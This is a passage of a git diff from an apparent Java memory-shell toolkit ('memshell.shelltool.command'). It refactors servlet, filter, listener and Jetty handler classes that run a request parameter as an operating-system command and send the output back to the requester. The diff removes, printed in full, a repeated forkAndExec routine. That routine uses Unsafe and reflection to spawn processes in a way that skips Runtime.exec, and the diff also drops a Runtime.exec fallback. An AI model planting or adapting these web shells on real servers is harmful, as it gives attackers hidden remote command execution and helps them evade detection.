Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
|
||||||
value.setAccessible(true);
|
|
||||||
mode = (Integer) value.get(launchMechanismObject);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
|
||||||
mode = ordinal + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
// JDK7
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
// JDK11
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
|
||||||
getInputStreamMethod.setAccessible(true);
|
|
||||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static byte[] toCString(String s) {
|
|
||||||
if (s == null)
|
|
||||||
return null;
|
|
||||||
byte[] bytes = s.getBytes();
|
|
||||||
byte[] result = new byte[bytes.length + 1];
|
|
||||||
System.arraycopy(bytes, 0,
|
|
||||||
result, 0,
|
|
||||||
bytes.length);
|
|
||||||
result[result.length - 1] = (byte) 0;
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
public Object unwrapRequest(Object request) {
|
public Object unwrapRequest(Object request) {
|
||||||
Object internalRequest = request;
|
Object internalRequest = request;
|
||||||
while (true) {
|
while (true) {
|
||||||
|
|||||||
+7
-107
@@ -1,31 +1,31 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
import sun.misc.Unsafe;
|
|
||||||
|
|
||||||
import javax.servlet.*;
|
import javax.servlet.*;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
public class CommandFilter implements Filter {
|
public class CommandFilter implements Filter {
|
||||||
public static String paramName;
|
private static String paramName;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void init(FilterConfig filterConfig) throws ServletException {
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getParam(String param) {
|
private String getParam(String param) {
|
||||||
return param;
|
return param;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private InputStream getInputStream(String cmd) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||||
@@ -33,12 +33,7 @@ public class CommandFilter implements Filter {
|
|||||||
String cmd = getParam(servletRequest.getParameter(paramName));
|
String cmd = getParam(servletRequest.getParameter(paramName));
|
||||||
try {
|
try {
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
InputStream inputStream = null;
|
InputStream inputStream = getInputStream(cmd);
|
||||||
try {
|
|
||||||
inputStream = forkAndExec(cmd);
|
|
||||||
} catch (Throwable e) {
|
|
||||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
|
||||||
}
|
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
@@ -53,101 +48,6 @@ public class CommandFilter implements Filter {
|
|||||||
chain.doFilter(servletRequest, servletResponse);
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
|
||||||
String[] strs = cmd.split("\\s+");
|
|
||||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
|
||||||
theUnsafeField.setAccessible(true);
|
|
||||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
|
||||||
|
|
||||||
Class<?> processClass = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
processClass = Class.forName("java.lang.UNIXProcess");
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
processClass = Class.forName("java.lang.ProcessImpl");
|
|
||||||
}
|
|
||||||
Object processObject = unsafe.allocateInstance(processClass);
|
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
|
||||||
int size = args.length;
|
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
|
||||||
args[i] = strs[i + 1].getBytes();
|
|
||||||
size += args[i].length;
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] argBlock = new byte[size];
|
|
||||||
int i = 0;
|
|
||||||
|
|
||||||
for (byte[] arg : args) {
|
|
||||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
|
||||||
i += arg.length + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
int[] envc = new int[1];
|
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
|
||||||
byte[] result = toCString(strs[0]);
|
|
||||||
try {
|
|
||||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
|
||||||
helperpathField.setAccessible(true);
|
|
||||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
|
||||||
|
|
||||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
|
||||||
launchMechanismField.setAccessible(true);
|
|
||||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
|
||||||
int mode = 0;
|
|
||||||
try {
|
|
||||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
|
||||||
value.setAccessible(true);
|
|
||||||
mode = (Integer) value.get(launchMechanismObject);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
|
||||||
mode = ordinal + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
// JDK7
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
// JDK11
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
|
||||||
getInputStreamMethod.setAccessible(true);
|
|
||||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static byte[] toCString(String s) {
|
|
||||||
if (s == null)
|
|
||||||
return null;
|
|
||||||
byte[] bytes = s.getBytes();
|
|
||||||
byte[] result = new byte[bytes.length + 1];
|
|
||||||
System.arraycopy(bytes, 0,
|
|
||||||
result, 0,
|
|
||||||
bytes.length);
|
|
||||||
result[result.length - 1] = (byte) 0;
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void destroy() {
|
public void destroy() {
|
||||||
|
|
||||||
|
|||||||
+7
-103
@@ -12,12 +12,16 @@ import java.lang.reflect.Method;
|
|||||||
* @since 2025/5/15
|
* @since 2025/5/15
|
||||||
*/
|
*/
|
||||||
public class CommandJettyHandler {
|
public class CommandJettyHandler {
|
||||||
public static String paramName;
|
private static String paramName;
|
||||||
|
|
||||||
public String getParam(String param) {
|
private String getParam(String param) {
|
||||||
return param;
|
return param;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private InputStream getInputStream(String cmd) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public boolean equals(Object obj) {
|
public boolean equals(Object obj) {
|
||||||
Object[] args = ((Object[]) obj);
|
Object[] args = ((Object[]) obj);
|
||||||
@@ -46,12 +50,7 @@ public class CommandJettyHandler {
|
|||||||
if (baseRequest != null) {
|
if (baseRequest != null) {
|
||||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||||
}
|
}
|
||||||
InputStream inputStream = null;
|
InputStream inputStream = getInputStream(cmd);
|
||||||
try {
|
|
||||||
inputStream = forkAndExec(cmd);
|
|
||||||
} catch (Throwable e) {
|
|
||||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
|
||||||
}
|
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
@@ -65,99 +64,4 @@ public class CommandJettyHandler {
|
|||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
|
||||||
String[] strs = cmd.split("\\s+");
|
|
||||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
|
||||||
theUnsafeField.setAccessible(true);
|
|
||||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
|
||||||
|
|
||||||
Class<?> processClass = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
processClass = Class.forName("java.lang.UNIXProcess");
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
processClass = Class.forName("java.lang.ProcessImpl");
|
|
||||||
}
|
|
||||||
Object processObject = unsafe.allocateInstance(processClass);
|
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
|
||||||
int size = args.length;
|
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
|
||||||
args[i] = strs[i + 1].getBytes();
|
|
||||||
size += args[i].length;
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] argBlock = new byte[size];
|
|
||||||
int i = 0;
|
|
||||||
|
|
||||||
for (byte[] arg : args) {
|
|
||||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
|
||||||
i += arg.length + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
int[] envc = new int[1];
|
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
|
||||||
byte[] result = toCString(strs[0]);
|
|
||||||
try {
|
|
||||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
|
||||||
helperpathField.setAccessible(true);
|
|
||||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
|
||||||
|
|
||||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
|
||||||
launchMechanismField.setAccessible(true);
|
|
||||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
|
||||||
int mode = 0;
|
|
||||||
try {
|
|
||||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
|
||||||
value.setAccessible(true);
|
|
||||||
mode = (Integer) value.get(launchMechanismObject);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
|
||||||
mode = ordinal + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
// JDK7
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
// JDK11
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
|
||||||
getInputStreamMethod.setAccessible(true);
|
|
||||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static byte[] toCString(String s) {
|
|
||||||
if (s == null)
|
|
||||||
return null;
|
|
||||||
byte[] bytes = s.getBytes();
|
|
||||||
byte[] result = new byte[bytes.length + 1];
|
|
||||||
System.arraycopy(bytes, 0,
|
|
||||||
result, 0,
|
|
||||||
bytes.length);
|
|
||||||
result[result.length - 1] = (byte) 0;
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-107
@@ -1,21 +1,17 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
import sun.misc.Unsafe;
|
|
||||||
|
|
||||||
import javax.servlet.ServletOutputStream;
|
import javax.servlet.ServletOutputStream;
|
||||||
import javax.servlet.ServletRequestEvent;
|
import javax.servlet.ServletRequestEvent;
|
||||||
import javax.servlet.ServletRequestListener;
|
import javax.servlet.ServletRequestListener;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandListener implements ServletRequestListener {
|
public class CommandListener implements ServletRequestListener {
|
||||||
public static String paramName;
|
private static String paramName;
|
||||||
|
|
||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
@@ -25,10 +21,14 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getParam(String param) {
|
private String getParam(String param) {
|
||||||
return param;
|
return param;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private InputStream getInputStream(String cmd) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
@@ -36,12 +36,7 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
String cmd = getParam(request.getParameter(paramName));
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||||
InputStream inputStream = null;
|
InputStream inputStream = getInputStream(cmd);
|
||||||
try {
|
|
||||||
inputStream = forkAndExec(cmd);
|
|
||||||
} catch (Throwable e) {
|
|
||||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
|
||||||
}
|
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
@@ -53,101 +48,6 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
|
||||||
String[] strs = cmd.split("\\s+");
|
|
||||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
|
||||||
theUnsafeField.setAccessible(true);
|
|
||||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
|
||||||
|
|
||||||
Class<?> processClass = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
processClass = Class.forName("java.lang.UNIXProcess");
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
processClass = Class.forName("java.lang.ProcessImpl");
|
|
||||||
}
|
|
||||||
Object processObject = unsafe.allocateInstance(processClass);
|
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
|
||||||
int size = args.length;
|
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
|
||||||
args[i] = strs[i + 1].getBytes();
|
|
||||||
size += args[i].length;
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] argBlock = new byte[size];
|
|
||||||
int i = 0;
|
|
||||||
|
|
||||||
for (byte[] arg : args) {
|
|
||||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
|
||||||
i += arg.length + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
int[] envc = new int[1];
|
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
|
||||||
byte[] result = toCString(strs[0]);
|
|
||||||
try {
|
|
||||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
|
||||||
helperpathField.setAccessible(true);
|
|
||||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
|
||||||
|
|
||||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
|
||||||
launchMechanismField.setAccessible(true);
|
|
||||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
|
||||||
int mode = 0;
|
|
||||||
try {
|
|
||||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
|
||||||
value.setAccessible(true);
|
|
||||||
mode = (Integer) value.get(launchMechanismObject);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
|
||||||
mode = ordinal + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
// JDK7
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
// JDK11
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
|
||||||
getInputStreamMethod.setAccessible(true);
|
|
||||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static byte[] toCString(String s) {
|
|
||||||
if (s == null)
|
|
||||||
return null;
|
|
||||||
byte[] bytes = s.getBytes();
|
|
||||||
byte[] result = new byte[bytes.length + 1];
|
|
||||||
System.arraycopy(bytes, 0,
|
|
||||||
result, 0,
|
|
||||||
bytes.length);
|
|
||||||
result[result.length - 1] = (byte) 0;
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-103
@@ -17,28 +17,27 @@ import java.lang.reflect.Method;
|
|||||||
* @since 2024/12/15
|
* @since 2024/12/15
|
||||||
*/
|
*/
|
||||||
public class CommandServlet extends HttpServlet {
|
public class CommandServlet extends HttpServlet {
|
||||||
public static String paramName;
|
private static String paramName;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
doPost(req, resp);
|
doPost(req, resp);
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getParam(String param) {
|
private String getParam(String param) {
|
||||||
return param;
|
return param;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private InputStream getInputStream(String cmd) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||||
String cmd = getParam(request.getParameter(paramName));
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
try {
|
try {
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
InputStream inputStream = null;
|
InputStream inputStream = getInputStream(cmd);
|
||||||
try {
|
|
||||||
inputStream = forkAndExec(cmd);
|
|
||||||
} catch (Throwable e) {
|
|
||||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
|
||||||
}
|
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
@@ -50,99 +49,4 @@ public class CommandServlet extends HttpServlet {
|
|||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
|
||||||
String[] strs = cmd.split("\\s+");
|
|
||||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
|
||||||
theUnsafeField.setAccessible(true);
|
|
||||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
|
||||||
|
|
||||||
Class<?> processClass = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
processClass = Class.forName("java.lang.UNIXProcess");
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
processClass = Class.forName("java.lang.ProcessImpl");
|
|
||||||
}
|
|
||||||
Object processObject = unsafe.allocateInstance(processClass);
|
|
||||||
|
|
||||||
byte[][] args = new byte[strs.length - 1][];
|
|
||||||
int size = args.length;
|
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
|
||||||
args[i] = strs[i + 1].getBytes();
|
|
||||||
size += args[i].length;
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] argBlock = new byte[size];
|
|
||||||
int i = 0;
|
|
||||||
|
|
||||||
for (byte[] arg : args) {
|
|
||||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
|
||||||
i += arg.length + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
int[] envc = new int[1];
|
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
|
||||||
byte[] result = toCString(strs[0]);
|
|
||||||
try {
|
|
||||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
|
||||||
helperpathField.setAccessible(true);
|
|
||||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
|
||||||
|
|
||||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
|
||||||
launchMechanismField.setAccessible(true);
|
|
||||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
|
||||||
int mode = 0;
|
|
||||||
try {
|
|
||||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
|
||||||
value.setAccessible(true);
|
|
||||||
mode = (Integer) value.get(launchMechanismObject);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
|
||||||
mode = ordinal + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
// JDK7
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
|
||||||
forkMethod.setAccessible(true);
|
|
||||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
|
||||||
null, envc[0], null, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
// JDK11
|
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
|
||||||
initStreamsMethod.setAccessible(true);
|
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
|
||||||
getInputStreamMethod.setAccessible(true);
|
|
||||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static byte[] toCString(String s) {
|
|
||||||
if (s == null)
|
|
||||||
return null;
|
|
||||||
byte[] bytes = s.getBytes();
|
|
||||||
byte[] result = new byte[bytes.length + 1];
|
|
||||||
